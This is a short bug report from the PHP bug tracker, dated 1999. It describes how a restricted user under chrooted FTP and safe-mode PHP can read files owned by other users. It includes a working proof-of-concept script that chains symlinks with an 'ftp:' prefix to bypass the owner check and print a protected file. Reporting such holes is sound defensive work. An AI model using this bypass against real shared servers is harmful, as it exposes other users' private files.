|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[1999-11-24 17:39 UTC] stas at zend dot com
Let's imagine restricted user, that has chrooted FTP and safe-mode PHP. Can this user read other user's files? Yes, he can:
<?php
symlink(".","ww/ftp:");
chdir("ww");
symlink("ftp://../../secretfile.html","l");
$f=fopen("l","r");
fpassthru($f);
?>
gives contents of secret_file, even though it isn't user-owned. the "ftp://" part breaks owner check for symlink, and "l" is allowed since "ww" is owned by current user.
Note, that removing directory-check and checking only by UID will break all config-saving scripts...
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2026 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 08 10:00:01 2026 UTC |
the bugs script seems to eat everything that is like a href. First line of php script should be symlink(".","ww/ftpCOLON") where COLON is a colon.